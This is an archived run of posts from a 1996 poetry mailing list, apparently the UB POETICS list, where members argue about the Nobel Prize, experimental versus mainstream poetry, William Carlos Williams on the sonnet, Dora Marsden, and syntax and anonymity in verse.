what makes for a poem i want to read over and over? an order of sounds I delight in hearing or having my tongue perform that themselves suggest or imply worlds of possible meaning that destabilize the one I left before entering the poem and that manage to permanently alter the world of meaning i return to. that's all. This has happened to me with writers as diverse as Gertrude Stein and Paul Muldoon, and never Heaney. Or Olson. Or Charles Bernstein. Allan Davies yes. And wild Steve McCaffery. But never Neidecker. Someone stop me, I will stop, Sam, thanks.

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126. Steve Shoemaker
Re: Szymborska/Heaney/Nobels
Mon 7 Oct 1996

I think there's plenty of support for experimental poetry on this list, enough that I don't see why we couldn't critique some of it without much risk of losing our "common ground." If anything, i wld probably want even more "difference." If "experimental" folks (and i count myself one, for lack of a better term) are reluctant to post, even here, because of the perception of such difference, that doesn't seem to me to speak well of the vigor of the discourse.

And besides, as any one here knows, it doesn't take that many voices to make a strong thread anyway, so if there's something to say that isn't getting said why not just take a shot? steve

Dodie wrote:

> *I don't think that people who are into expermental writing (langpo being just one vein of that) do have these uniformly shared assumptions. When this list was smaller there was lots of fighting going on among the members. I think people are very aware of the lack of shared asssumptions on this list. I think that's why many people I'd like to be hearing from are no longer posting. There has to be a certain common ground for things to be worth discussing.*
>
> *Dodie*

Steve Shoemaker

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127. Gary Roberts
polkas, gigues, and slams
Mon 7 Oct 1996

Yes, poets and everyone else for that matter is free to draw whatever aesthetic and political lines they want as far as their own tastes and poetics are concerned. However, it seems gratuitous to slam Frost-- who never won a Nobel, who is not exactly a live wire these days, and who was once marginally innovative even if we now assume his poetic to be a dead end.

As for the ad hominem remarks on the slow-wittedness of readers who prefer Heaney et al and/or who actively dismiss other traditions, I am reminded of the Speed & Performance threads of a couple months back. What kinds of mental and physical operations does experimental poetry require/enact/enforce, and is it possible to produce inductive arguments about their political and psychological differences from the Nobel stuff, on the basis of their respective rates of consumption? Answering these questions seems a more interesting response to the perennial retrospection and repetition compulsion of these award-givers/receivers. I am not persuaded that Creeley or Snyder say, are running at a different speeds from other poets like Merwin or Simic who are not affiliated with avant-garde social networks. However, Zukofsky or Olson, say, are demanding different responses than Walcott and Heaney, but settling for or even reinforcing an implicit binarism is not going to crack the institutional prejudice against the global energies of experimentalism.

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128. David Kellogg
Re: polkas, gigues, and slams
Mon 7 Oct 1996

> *As for the ad hominem remarks on the slow-wittedness of readers who prefer Heaney et al and/or who actively dismiss other traditions, I am reminded of the Speed & Performance threads of a couple months back. What kinds of mental and physical operations does experimental poetry require/enact/enforce, and is it possible to produce inductive arguments about their political and psychological differences from the Nobel stuff, on the basis of their respective rates of consumption? Answering these questions seems a more interesting response to the perennial retrospection and repetition compulsion of these award-givers/receivers. I am not persuaded that Creeley or Snyder say, are running at a different speeds from other poets like Merwin or Simic who are not affiliated with avant-garde social networks. However, Zukofsky or Olson, say, are demanding different responses than Walcott and Heaney, but settling for or even reinforcing an implicit binarism is not going to crack the institutional prejudice against the global energies of experimentalism.*

I agree. After days trashing Heaney, Frost and Szymborska, this thread has finally provoked some responses that value diversity, first from Michael Coffey and now from Gary Roberts. Thank you. De gustibus.
~~~
~~~

of apologetic tone about discussing high art topics, as if to another audience, one unfamiliar with, distrustful of and defensive towards pakeha culture. But she doesn't write an altogether different English from what is usually thought of as "standard" in the academy.

This is nothing new to many on the List I suppose. But it has become recently very noticeable among my students, with more and more Polynesian and Asian students (in great cultural variety) . The effect on European Art History is curious. The eurocentric character of the discourse becomes glaringly apparent.

best

Tony Green,
e-mail: [redacted]

↑ Index

130. Pritchett,Pat
Re: polkas, gigues, and slams
Mon 7 Oct 1996

Nobel Prize = best poetry money can buy.

The whole idea of the Nobel & its ilk raises the old Ciceronian "Who benefits?" Not poetry, I think. Rather the bourgeois institutions that seek to quell the anxiety they experience vis-a-vis "art" and so create wprizes and whatnot to that end. The Nobel has always seemed to me a ratification of the status quo. Writing that "agitates the sleep of mankind" seldom is recognized by the Committee (though Beckett would certainly seem to prove the exception). James Agee once spoke of "the emasculation of acceptance" when talking about the relationship between art and its intended audience. That's a pretty loaded phrase, to be sure; divisive and more than a bit juvenile, but if the shoe fits...

At all events, no writer should be looking for rewards from captains of industry. How the Nobel gratifies bestower and recipient, but esp. the former, tells us more about the current relationship between art, commerce and culture, then about putative "artistic merit." It seems to me that once you establish the idea of a prize, you've already compromised something essential in the creative process.

Cheers,
Patrick Pritchett
[redacted]

From: David Kellogg
To: Multiple recipients of list POETICS

Subject: Re: polkas, gigues, and slams
Date: Monday, October 07, 1996 5:53PM

>As for the ad hominem remarks on the slow-wittedness of readers who prefer
>Heaney et al and/or who actively dismiss other traditions, I am reminded of the
>Speed & Performance threads of a couple months back. What kinds of mental and
>physical operations does experimental poetry require/enact/enforce, and is it
>possible to produce inductive arguments about their political and psychological
>differences from the Nobel stuff, on the basis of their respective rates of
>consumption? Answering these questions seems a more interesting response to
>the perennial retrospection and repetition compulsion of these
>award-givers/receivers. I am not persuaded that Creeley or Snyder say, are
>running at a different speeds from other poets like Merwin or Simic who are not
>affiliated with avant-garde social networks. However, Zukofsky or Olson, say,
>are demanding different responses than Walcott and Heaney, but settling for or
>even reinforcing an implicit binarism is not going to crack the institutional
>prejudice against the global energies of experimentalism.

I agree. After days trashing Heaney, Frost and Szymborska, this thread has finally provoked some responses that value diversity, first from Michael Coffey and now from Gary Roberts. Thank you. De gustibus.
~~~
~~~

131. Andrew D Epstein
Re: Berrigan cites
Mon 7 Oct 1996

On Mon, 7 Oct 1996, Libbie Rifkin wrote:

> Hello List,
> Does anyone know where Ashbery says "The academy of the future is opening
> its doors"? And/or where Apollinaire said it first?
>
> How about where Williams said "The sonnet is dead." I have the interview
> where he talks about how he hates the sonnet, but that line isn't it.
>
> Berrigan's sonnets have me on a wild goose chase.
>
> Thanks, all.
> Libbie
>
Hi Libbie --

The "academy of the future is/ Opening its doors" is from the poem "Last Month" which is from Rivers and Mountains. It's also in the Selected.

Take care,
Andrew Epstein

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132. maria damon
Re: Berrigan cites
Mon 7 Oct 1996

---

the sonnet is dad indeed. but whose.

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133. wystan
Szymborska
Mon 7 Oct 1996

Dear List, One of the many things you do is inform. I have read an opinion or two about one poem by this Polish prize winner, and on the prize itself. Can we do better than this? Has anyone one here read any other poems by her? Who reads Polish? List I'm all ears. Wystan

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134. **william marsh**
Dora Marsden
Mon 7 Oct 1996

Can anyone tell me who "Dora Marsden" is? -- reference in Wms' "Spring and All", in the first paragraph of the prose section following "By the road to the contagious hospital..." ?

Thanks in advance.

bmarsh

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135. **Susan Schultz**
Re: Englishes/Latins
Mon 7 Oct 1996

Dear Tony--I'd love to see that nonstandard essay.

all best, Susan (Schultz)

↑ Index

136. **Gary Roberts**
yet more Nobel
Mon 7 Oct 1996

Of course, prizes are the devil's blessing, but I am unsure whether the "status quo" argument is accurate. Beckett is indeed a major exception, but then again, who would deny his importance? What about Claude Simone and Octavio Paz? These recent winners are not exactly "status quo" and have direct ties to avant-gardism. Going a little further back, what about Neruda and Montale? Sure they're safe enough now, but that wasn't always the case. I know that quibbling about a roster is not really getting to the heart of the poetic issues necessarily raised by this year's selection, but I thought maybe the ambiguous examples I have cited would complicate the tendency to think of the prize as only going to the Pearl Bucks of the world.

Gary R.

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137. Rod Smith
Re: Concentration -Reply
Tue 8 Oct 1996

Michael Coffey, In naming Inman & Weiner as the langpos you're not enticed by I'm tempted to say oh, so you really don't like language poetry. To say a few words not so much in defense but in response-- both of these poets seem to me to write on their own terms, there is a very strong sense of the immediacy & integrity in the writing. Ok, what immediacy, what integrity?

Inman's immediacy is that the weight of each letter, each word, each phrase, each paragraph is the same, & they are all weighed very carefully. The writer has attended to them neither more nor less than they demand. Peter often mentions Beckett (a fine synonym for integrity), & one senses in his work that Beckettian understanding that there is really nothing to be gotten from the writing other than the experience of it, the doing of it. So, to be gotten from the reading of it is a very particular kind of intelligence, I can't help but think of deKooning but without the heroic junk.

Hannah's a dialogic hurricane. Hurricane's have something like 200,000 times the power of an atomic bomb. One feels that the intensity of engagement with language that _she_ feels in the writing is something like that. If you don't like hurricanes, don't go there. I'm fascinated by them. Or if you don't like that overblown analogy simply say that it's a multiple dialogism -- there's _a_ conversation going on in her work, but it's not locatable, it never stays in one place long enough, & yet it's _information_. & I think often she's very funny. Try _The Fast_, though _Little Books/Indians_ is possibly my favorite.

Not liking Olson or Bernstein or Niedekker's a conudrum I shan't engage at the moment. But o I plea that the great infinity might bestow upon you the treasures & fruits & vegetables of their wondrous labour

--Rod

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138. George Bowering
Re: Messerli returing to Szymbroska
Tue 8 Oct 1996

> *That's exactly my billowing and soft point, content-ed or no.*

Now I am having even more difficulty.

How can a point be billowing?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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139. George Bowering
Re: nobel prize
Tue 8 Oct 1996

Pearl Buck remains the only Chinese writer to have
>won, French writers seem scandalously underrepresented, etc.

Pearl Buck was Chinese?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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140. Tom Beard
New journal - CURRENT
Tue 8 Oct 1996

I'm emerging from a long period of lurkerdom to announce a new journal:

> CURRENT - journal of the mind & senses
>
> http://www.comm-unity.co.nz/~current/

It includes work by listmembers Charles Alexander, Tom Beard, John Geraets, Tony Green and ShaunAnne Tangey. Other contributors with whom you may be familiar include Ebon Fisher, David Howard, Kapka Kassabova, Sugu Pillay and Mark Williams.

The contents will be updated as new work comes to hand, and an announcement on the print version will be made shortly.

CURRENT aims to be a multi-disciplinary, multi-media journal, and includes poetry, audio, theory, fiction, interviews and visual art. Also of note is "Complete with Instructions", possibly the first use of Java to present and animated poem.

I look forward to your feedback.

Tom Beard.

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141. Wendy McClure

Anyone up for picking on BAP?

Tue 8 Oct 1996

Whoa just wrote the following post and then logged on and there was the digest in all its flammable glory... just scanned it for now cause I gotta sleep... I get the sinking feeling that I missed all the fun...

Rod Smith writes:

> *_The Best American Poetry 1996_ edited by Adrienne Rich, was recently published. The introduction contains an epigram and two or three citations from Charles Bernstein's _A Poetics_. The book itself, which, admittedly, I have not examined carefully, seems to contain very little that would fall under the rubric "innovative writing." Past editions of this "Best" have included a number of such writers. So, discursive statements about the usefulness of an aesthetics of multiplicity are ok, but the actual practice of such. . . ? I'll look at the book a bit more, hopefully it's more interesting than it appears.*
>
> *--Rod*

Something compels me to buy the BAP books every year and for the past few I've found little to reward the reflex... the Rich edition, while I'm not crazy about it, is the first one in a while that hasn't left me mostly regretting another year of the habit. As for the relationship between her intro and the book itself I'd say her appropriation of the Bernstein quotes hold up for the purpose of her essay at least --i.e. really only one instance where she takes anything that C.B. has to say towards "innovation" in writing, and there she's citing only a few of her choices (& they're actually ones I agree with, a really good Giscombe poem for one). Now for the rest of the book & the ensuing practice, -- or two practices, I guess, one is Rich's selection & she's pretty honest about her priorities, admitting to pushing aside the designations of "best" ... anyway, when it comes to the poets themselves and _their_ practice of an aesthetic multiplicity I got the vague feeling that they blew it somehow, usually in the form of too much "post-practice": something like 50 pages of contributor's notes filled w/ anecdotes and/or explanations for things that not particularly evident in the poems themselves (esp. disheartening when they were "formal choices") --in short, a

lot of "aesthetic" that didn't seem to make it into the poems. Overall I guess I consider the collection as a document of Rich's encouragement and read the poems together w/ her intro as an assessment of so much more that needs to be done towards a poetics of innovation and difference... it's not an easy choice but I guess I'd rather see some of the poems fall visibly short of the editor's expressed standards, as opposed to the limits of a safer consistency that I've seen in BAP before.

--Wendy McClure

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142. **Kevin Killian**
Re: Marjorie Perloff
Tue 8 Oct 1996

Why don't you ask her yourself--she's on the list:

Marjorie Perloff <[redacted]>

x,
Dodie

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143. **David W. Clippinger**
Marjorie Perloff
Tue 8 Oct 1996

Could someone please backchannel me Marjorie Perloff's address.

Thank you,
David Clippinger

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144. **henry gould**
Re: polkas, gigues, and slams
Tue 8 Oct 1996

On Mon, 7 Oct 1996 18:28:00 -0500 Pritchett,Pat @Silverplume said:
It seems to me that once
>you establish the idea of a prize, you've already compromised something
>essential in the creative process.

I think Pindar, for one, would disagree. Isn't there a love/hate atmosphere for everyone, winners/losers & bystanders, involved with prizes? But the world would be a drabber place without races, competitions, prizes, recognitions. A "simpler" place, in a negative sense. I don't think the Nobel committee, or

anyone else, considers the Nobel the ultimate arbiter of value. The arbiter, in literature, is the reader, the audience. I for one was moved when Naguib Mahfouz won the Nobel, & it's sad if it's considered another example of Western imperialism. - Henry Gould

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145. Michael Boughn
Re: Dora Marsden
Tue 8 Oct 1996

> *Can anyone tell me who "Dora Marsden" is? -- reference in Wms' "Spring and All", in the first paragraph of the prose section following "By the road to the contagious hospital..." ?*
>
> *Thanks in advance.*
>
> *bmarsh*

Dora Marsden was the editor of the Freewoman which became the New Freewoman and then The Egoist around 1914. At that time she asked Harriet Weaver to take over editorial responsibilities while Marsden pursued her interest as a philosophical writer (while writing for the magazine that went on to hire Pound as literary editor and to publish work by Joyce, Eliot, HD, Aldington, Fletcher, de Gourmont, etc.). Marsden's books include The Definition of the Godhead, The Mystery of Time, and The Philosophy of Time.

If you can, you should check out the original issues of the magazines. They're fascinating. Pound, Joyce, and HD alongside articles on vegetarianism and free love and Marsden's long philosophical essays on time and the godhead.

Mike
[redacted]

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146. maria damon
Re: Englishes/Latins
Tue 8 Oct 1996

In message <[redacted]> UB Poetics discussion
group writes:
> Dear Tony--I'd love to see that nonstandard essay.
>
> all best, Susan (Schultz)

yeah me too--md

↑ Index

147. Simon or Chris

poil buck

Tue 8 Oct 1996

---

yes of course Mrs. Buck was born (nee Seidenstricker, I think) somewhere in West Virginia and only went to the orient as a small child (not sure of exact date -- her parents were missionaries).

The nobel prize line is a misremembered quote from John Yau.

however, her translation of the Shui Hu Chuan, which she called "All Men are Brothers," (its otherwise translated as "The Water Margin" or "Outlaws of the Marsh") is well worth anybody's reading. It is a slightly odd sounding English she used, probably affected by her translation method (supposedly, because she was fluent and illiterate in Chinese, she had a collaborator read the book aloud to her and she translated from that) but it gives more of the flavor and feel of that kind of Chinese literature than anything else I know. Rexroth was a fan of her translation, so is Alice Notley.

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148. Michael Boughn

Re: Concentration

Tue 8 Oct 1996

Henry writes:

> *Let's continue with baseball metaphor*
> *& consider realm of poetry a playing field, where sometimes there are levels*
> *of standards, not set in stone, but people have a sense of them. Then there*
> *are some of real originality who sort of make the game their own.*

The part of the baseball metaphor that comes to my mind is the team thing. After all the razzle dazzle aesthetics (which start to sound remarkable like something cribbed from John Crowe Ransome or Allen Tate), everybody just wants their team to win. The problem is the umps are all recruited from the other team(s).

> *anonymity, modesty, renunciation. Tools by which poetry*
> *enters other dimensions of the human conversation. Opposite side from*
> *mannerism, poem as autotelic object, etc.*

Wow, that's the most scandalous, avant-grade thing ever posted here!

Have people on the list heard that Bob Dylan sold the rights to "The Times They Are a Changin'" to the Bank of Montreal for use in their new advertising campaign? Maybe that was part of the deal of that got him shortlisted for the Nobel.

This is just not the kind of world in which Bob Creeley can ever get the Nobel prize. Maybe we should make up our own prize and award it to him.

Mike
[redacted]

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149. **henry**
Re: Concentration
Tue 8 Oct 1996

On Tue, 8 Oct 1996 09:03:43 -0400 Michael Boughn said:
>
>Have people on the list heard that Bob Dylan sold the rights to "The
>Times They Are a Changin'" to the Bank of Montreal for use in their
>new advertising campaign? Maybe that was part of the deal of that got
>him shortlisted for the Nobel.

Yeah, but they agreed to change the lyrics to: "The Monies they are
a-Changin'".
>
>This is just not the kind of world in which Bob Creeley can ever get
>the Nobel prize. Maybe we should make up our own prize and award it to
>him.

Maybe Bob (Dylan, that is) would help fund it. He is from Minnesota, after all.
- Henry "Eat Crow, Ransom" Gould

↑ Index

150. **Sylvester Pollet**
WCW vs. The Sonnet
Tue 8 Oct 1996

Libby Rifkin et al, It's not quite in the words you quoted, but the line of WCW's I like re sonnets is in his Author's Introduction (1944) to the Collected Later Po- ems: "To me all sonnets say the same thing of no import- ance." He goes on to clarify, "There is no poetry of distinction without formal Invention...." Which may be what we're really griping about vis a vis the poem on baby Shickelgru- ber. On that thread, though, I don't trust The New York Times to choose a poet's best work--there's a politics of that level of selection also. I'm suspending judgment until I read more work.

↑ Index

151. **henry gould**
Re: WCW vs. The Sonnet
Tue 8 Oct 1996

On Tue, 8 Oct 1996 09:57:46 EDT Sylvester Pollet said:
>ance." He [WCW]goes on to clarify, "There is no poetry of distinction without
>formal Invention...."

This should be written in stone over the portals to 20th century American experimental writing. It's the dogma I was referring to in my "shocking" post re: mannerism, poem as object, etc. In my noble dream world I have revised this maxim to read: "There is no poetry of distinction without formal invention, carefully disguised and completely hidden". - Henry Gould

↑ Index

152. **Joe Amato**
nobels, the Good, here we go...
Tue 8 Oct 1996

---

(1) re the nobels: any way we might speculate as to how the literature awards do/do not align with more empirical fields?... sure, we all know that lit. tends to be, on the surface of it, a more subjective category... or does it?... i mean, is there a common denominator at work in the nobels, one that presumably seeks out, say, the Good... regardless how political all the awards may be de facto, what i'm asking about here is whether and how a meta-category (say, the Good) is distributed across the award spectrum...

(2) this relates to jordan's question to me (loaded as hell!---but thanx jord, we need to be provoked so) about what makes for a bad langpoem (and will *somebody* please forgive me this shorthand)... i teach tech. writing, and as i just posted a list member backchannel, i tend to focus these days in my classes, as a sort of historical backdrop, on the distinction between good tech. writing that's designed (literally) for beneficial ends and good tech. writing that's not... that is, the latter writing might be proficient, expeditious, and so forth, but may be used in the service of BAD ethics, morals, politics... so mebbe, in fact, it's BAD (and there are surely places and people who would say so---which raises the issue of good and bad as these relate to culture and community)... in particular, my classes examine the national socialist rhetoric of wwii (we build on a remarkable essay that appeared some time ago in _college english_ (march 1992), steven katz's "the ethics of expediency: classical rhetoric, technology, and the holocaust")... in short: if i can take my tech. writers, and tech. writing in general, to task for not owning up to its complicity in a rhetorical bracketing of ethics-morals-politics (have a look at the stc ethical code) while promoting some technical-technologized "good," why then i suppose, i should hold poetry so

accountable... and certainly with an understanding that poetry (whatever it is) doesn't work the same way, hence that poetic 'accountability' is not going to work the same way... and with the recognition that some poetries seem to be more easily held accountable (why is this?), which is not to say that they're less demanding necessarily...

i'm posing questions here for which i have no easy answers... but of course the question of the good is not simply formal---and in any case, formal issues, as many would argue, do in fact lend themselves to matters of social un/desirability, esp. when viewed against various norms...

joe

↑ Index

153. **Fred Muratori**
WCW on the Sonnet
Tue 8 Oct 1996

> *How about where Williams said "The sonnet is dead." I have the interview where he talks about how he hates the sonnet, but that line isn't it.*
>
> *Thanks, all.*
> *Libbie*

Hi Libbie --

Though I can't find WCW's original statement on the sonnet, your question gives me an opportunity to bring up WCW's later comment on the form, which everyone seems to have forgotten, and which significantly modifies his earlier opinion. This is from a letter to James Laughlin dated Jan. 23, 1938. The comment follows WCW's expression of admiration for the sonnets of Merrill Moore:

"The sonnet, I see now, is not a form at all but a state of mind. It is the extremely familiar dialogue upon which much writing is founded: a statement then a rejoinder of a sort, perhaps a reply, perhaps a variant of the original -- but a comeback of one sort or another...I never had the intelligence to realize that it wasn't the sonnet that was at fault but the bad artists who wrote in the form that were the calamity. The imagination rescues us all but how difficult to realize the simplest formulations until someone, some ONE, liberates us. Now sonnets can be written again."

This is from pages 25-26 of the _Selected Letters_ of WCW to Laughlin, published by Norton in 1989.

Take care,

Fred Muratori

Fred Muratori
Reference Services Division
Olin - Kroch - Uris Libraries
Cornell University
[redacted]
http://fmref.library.cornell.edu/spectra.html

****

"The spaces between things
keep getting bigger
and more important"

-- Jon Ashbery
****

↑ Index

154. Charles Bernstein
Creeley Festival
Tue 8 Oct 1996

> *This is just not the kind of world in which Bob Creeley can ever get the Nobel prize. Maybe we should make up our own prize and award it to him.*

At the University at Buffalo, we've cut to the chase with our Creeley 70th birthday celebration, starting Thursday night and going to Saturday night. Come on down, up or over -- (All events are free.)

Thursday, October 10
8pm: Hallwalls: Eileen Myles Reading, introduced by Robert Creeley

Friday, 10/11
3-5pm Katherine Cornell Theater, North Campus
Welcome: UB President William Greiner
Reading: Gil Sorrentino and Amiri Baraka
5-6:30pm 420 Capen Hall Opening, "Here: Fifty Years of Poetry in Buffalo", Poetry/Rare Books Collection, 420 Capen
8:30-10pm Katherine Cornell Theater
Reading by Robert Creeley // Conversation with Creeley and Jim Dine

Saturday, 10/12
4-5pm Katherine Cornell Theater: John Ashbery
8:30pm Hallwalls: Concert with Steve Kuhn and Carol Fredette
Reception and party with Mercury Rev

↑ Index

155. **Steve Shoemaker**
Re: Dora Marsden
Tue 8 Oct 1996

I don't know much about Marsden, but Mariani's bio of WCW mentions a long piece of hers called "Lingual Psychology" that was serialized in The Egoist. WCW critiqued the piece in a long letter to the mag that was printed over two successive issues. All this around 1917.

--steve

On Mon, 7 Oct 1996, william marsh wrote:

> *Can anyone tell me who "Dora Marsden" is? -- reference in Wms' "Spring and All", in the first paragraph of the prose section following "By the road to the contagious hospital..." ?*
>
> *Thanks in advance.*
>
> *bmarsh*

Steve Shoemaker

↑ Index

156. **maria damon**
Re: Concentration
Tue 8 Oct 1996

mike b rites This is just not the kind of world in which Bob Creeley can ever get the Nobel prize. Maybe we should make up our own prize and award it to him.

now *that* is a truly sensible suggestion. like what the before columbus foundation did with the American Book Award and what Messerli's doing w/ the Gertrude Stein awards. all we need is a big chubby endowment. md

↑ Index

157. **Jeff Hansen**
what's a good poem
Tue 8 Oct 1996

OK, I've been a lurker for a while.

On dismissal: I'm quite suspicious of it, particularly when it involves intergenerational activity. It is not necessary to dismiss poets you don't find useful. Just ignore them.

Underlying the whole Nobel thread is the frustration of experimental poets at not having access to the insitutions with tremendous culural capital. We want wider distribution and exposure. Mainstream newspapers and intellectual publications ignore us in favor of the Heaneys et al of this world. We want some of that largesse for ourselves. We want experimentalism to be more central to cultural life.

What would that mean, socio/politically/economically, to have experimentalism at the core? Perhaps a look at the visual art world through much of the 20th century would give an answer. `Tain't a pretty sight. Any other ideas?

So why do we rail? (And I rail as much as anyone. Yesterday at lunch I explained why the mainstream Erdrich was inferior to the nonmainstream Young Bear, and not a few weeks earlier I had denounced Heaney to the same colleague.) If major cultural capital brings with it the grotesque wheeling and dealing and imaging-making that we see in the artworld, who needs it? Visual artists that I know are all appalled by their position relative to the image-makers.

Would experimental poetry, if given major support, be different? Probably. Innovation in visual arts is tightly tied to marketing and niche-making. There is not enough of a market in poetry to sell mainstream stuff, let alone experimental. Perhaps experimental could get more capital without changing. Dunno.

Maybe this is why I don't post a lot: I dunno.

As far as what I like in a poem, language or otherwise: Challenge. I want it to stretch my mind. Sometimes this is historical: why did someone write this in 1432? Sometimes it is based on figurative language: where do the metaphors lead me? Sometimes it's the sound of the piece: can I give words to such a feeling? how is such a sensation created? Sometimes it is based on a weird pull, a sense that the poem is uttering a significance for my life that I cannot articulate. Sometimes I know the poet and wonder why he or she would write this from what I know of the givens of biography.

I want poetry that provides me an opportunity for mental calisthenics.

I propose a new prize. The POETICS LIST MENTAL CALISTHENICS POET OF THE YEAR.

Dig it.

Jeff

↑ Index

158. **Pritchett,Pat**
Re: yet more Nobel
Tue 8 Oct 1996

You raise a good point, Gary. Mebbe I shld have sd "tends to ratify." All the examples you mention are "exceptions" and one could add more. (I think). But for every Paz or Montale there seem to be ten Jaroslav Sieferts (the WS of his day?). Taking it farther back, why give the prize to Kipling and not to Conrad? What about Joyce, Woolf, Pound, WCW? Why has a US poet never won? We could beat this thing to death and maybe we have. At bottom I suppose it all comes down to the fact that hierarchies (of whatever kind) always breed resentment. On the other hand, I like Henry's notion that's it all just part of the circus...

Patrick Pritchett

From: Gary Roberts
To: Multiple recipients of list POETICS
Subject: yet more Nobel
Date: Monday, October 07, 1996 10:48PM

Of course, prizes are the devil's blessing, but I am unsure whether the "status quo" argument is accurate. Beckett is indeed a major exception, but then again, who would deny his importance? What about Claude Simone and Octavio Paz? These recent winners are not exactly "status quo" and have direct ties to avant-gardism. Going a little further back, what about Neruda and Montale? Sure they're safe enough now, but that wasn't always the case. I know that quibbling about a roster is not really getting to the heart of the poetic issues necessarily raised by this year's selection, but I thought maybe the ambiguous examples I have cited would complicate the tendency to think of the prize as only going to the Pearl Bucks of the world.

Gary R.

↑ Index

159. **Michael Boughn**
Re: Concentration
Tue 8 Oct 1996

> *mike b rites*
> *This is just not the kind of world in which Bob Creeley can ever get the Nobel prize. Maybe we should make up our own prize and award it to him.*

> *now *that* is a truly sensible suggestion. like what the before columbus foundation did with the American Book Award and what Messerli's doing w/ the Gertrude Stein awards. all we need is a big chubby endowment.*
> *md*

Although I know it's a bit meagre, Bob would probably be happy with a bowling trophy and a ten dollar money order. It's the thought, or the thinking, etc.

Onward,
Mike

↑ Index

160. Jordan Davis
reconstruction
Tue 8 Oct 1996

Henry.

Sound and meaning? I'm not sure that's sufficiently complex. Frinstance what about syntax, which is a simultaneous structuring of sound and meaning that isn't particularly affected by word choice or intended meaning? I'm also worried that putting 'sound and meaning' up front that way will lead to the [what's the right word here? privileging? valorization? winning-of-awards? ratification! that's it, dirty ratification] of one particular kind of sound, as the perennial victory of the absurd squish-writers has shown. I'd hate it if everybody tried to write like Clark Coolidge --- wait maybe they did and it was the 80s -- even though to my ear parts of _Solution Passage_ sound as good as anything else.

My understanding of anonymity in Russian poetry is that one had to be anonymous because one had to be anonymous. I would hate to feel that necessity, and I would hate to emulate the behavior of people who felt that necessity. To have a name is not so bad. Each one works out where they are on the axis of comfortable / cautious. The trend always seems to tip back towards cautious during even the most predictable election year -- fast money.

So -- I liked Jefferson's list --

Jordan

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161. henry
Re: reconstruction
Tue 8 Oct 1996

On Tue, 8 Oct 1996 13:24:15 -0400 Jordan Davis said:
>

>Sound and meaning? I'm not sure that's sufficiently complex. Frinstance
>what about syntax, which is a simultaneous structuring of sound and meaning
>that isn't particularly affected by word choice or intended meaning? I'm
>also worried that putting 'sound and meaning' up front that way will lead
>to the [what's the right word here? privileging? valorization?

I'll agree with you there. Sounds like a textbook: "Sound & Meaning: Poetry for Hungry 9th Grade Ears". & I liked Jefferson's post too. He mentioned something about how the sound creates a new or hard-to-grasp feeling, that said it better. But if you want complexity I think the sound & meaning have to work together with the syntax, maybe not in lockstep, but... it IS affected by vocabulary & meaning. Ashbery & his disciples like to disconnect them, create fake rhetorics... I used to like it but now find it sort of boring.

> *My understanding of anonymity in Russian poetry is that one had to be anonymous because one had to be anonymous. I would hate to feel that necessity, and I would hate to emulate the behavior of people who felt that necessity. To have a name is not so bad. Each one works out where they are on the axis of comfortable / cautious. The trend always seems to tip back towards cautious during even the most predictable election year -- fast money.*

I'm thinking of it more in terms of the various literary effects of anonymity. I think French poets get at it pretty well. Villon, Corbiere, even Laforgue - they achieve this kind of "Everyman" quality - the poem stands on the exact borderline between folksong and art song - the writer gets lost in Anonymous. Or there's a fusion of the individual and Anonymous. This works on a lot of levels. Not to advertise too much but I wrote an essay that gets into this called "School of Anonymous" in the latest Nedge. I wouldn't call it caution - to write like Anonymous is not something for the cautious. More like a kind of negative capability.
- Henry Gould
>
>So -- I liked Jefferson's list --
>
>Jordan

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162. **Herb Levy**
Re: Concentration
Tue 8 Oct 1996

Mike Boughn wrote:

> *This is just not the kind of world in which Bob Creeley can ever get the Nobel prize. Maybe we should make up our own prize and award it to him.*

I think the National Poetry Foundation did just that for Robert Duncan in 1984/5 after so little attention had been paid to Duncan's "Ground Work I". I think the cash award came from donations from poet/critic signers of the certificate.

I think this was discussed in the Duncan Sagetrieb issue. I don't have it at hand so I may have misremembered some details.

I agree, though, that prizes as an ongoing annual "event" are a cheap way to deal with culture. Or Culture.

Herb Levy
[redacted]

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163. **Joseph Lease**
Re: reconstruction
Tue 8 Oct 1996

If the opposite of anonymity is identity (the textual kind if anyone wants to know) then we valorize both anonymity and identity when we experience them as oppositional and liberating. So particular writing procedures are probably context dependent in this sense. Syntax is as always a particularly generative area to investigate because more obviously than the easily metaphorized squishyness of sound (and what could be squishier than meaning) syntax is a braid or torque or juxtaposition that involves self and other in an active deployment: syntax is social.

Joseph

↑ Index

164. **Joseph Lease**
Re: reconstruction
Tue 8 Oct 1996

PS

Of course syntax is social also means that various manipulations (including but not limited to distortions) of syntax are social too. No one kind of syntactical procedure should be assigned the same social valence always and everywhere but trends are audible and worth differing over as we invent and reinvent.

I do not mean trends as in trendy but rather well if Shlovsky says thus and such about parataxis and Bernstein agrees that describes a trend as opposed to a closed system. Shared but not universal facts.

↑ Index

165. **Joseph Lease**
Re: reconstruction
Tue 8 Oct 1996

PPS

I know what I meant by a distortion of syntax but looking back over what I wrote a few minutes ago I wish I could retract that phrase: I don't mean to imply a norm from which distortions etc. but I do think that ordinary language in the sense of ordinary language philosophy allows for the establishing of language games which recognize distortions. The same could be said for realism (I mean realism the way Silliman, Watten, Hejinian do and the way that tradition can be said to start in Whitman, Dickinson, and Thoreau). Realism as a constructivist narrativity grounded in fact. Syntax one of the motions.

↑ Index

166. **Jordan Davis**
Re: reconstruction
Tue 8 Oct 1996

Joseph -- you're right that squishiness is context-dependent -- I'm thinking mainly of the squish-poets' tendency to make lugubrious every process they encounter, as if everything were a fen. That's probably incorrect grammar, but if syntax is social, is bad grammar the residuum of individuality that we have to preserve? Jordan

↑ Index

167. **henry**
Re: reconstruction
Tue 8 Oct 1996

To get back to anonymity: there's a perfect example of what I was talking about with regard to the French, in Dan Bouchard's new magazine, MASS AVE. It's called "Matrix Blues", by Giovanni Singleton. It's not a narrativity memo from a de-centered slave-subject of the po-squish zitgeist. It's all Anonymous & all Giovanni Singleton, simultaneously. - Henry Gould

↑ Index

168. Jordan Davis
homage to Ed Foster
Tue 8 Oct 1996

Henry,

Thanks for bringing up Dan Bouchard.

DAN BOUCHARD IS READING IN NEW YORK CITY!!!!!! WOW!!!!!!!
AT 7 PM ON THURSDAY THE 10TH!!!!!! AT POETRY (BLEEP)ING CITY!!!!
THE MAYOR WON'T BE THERE!!!!! HE'S ALREADY APOLOGIZED!!!!
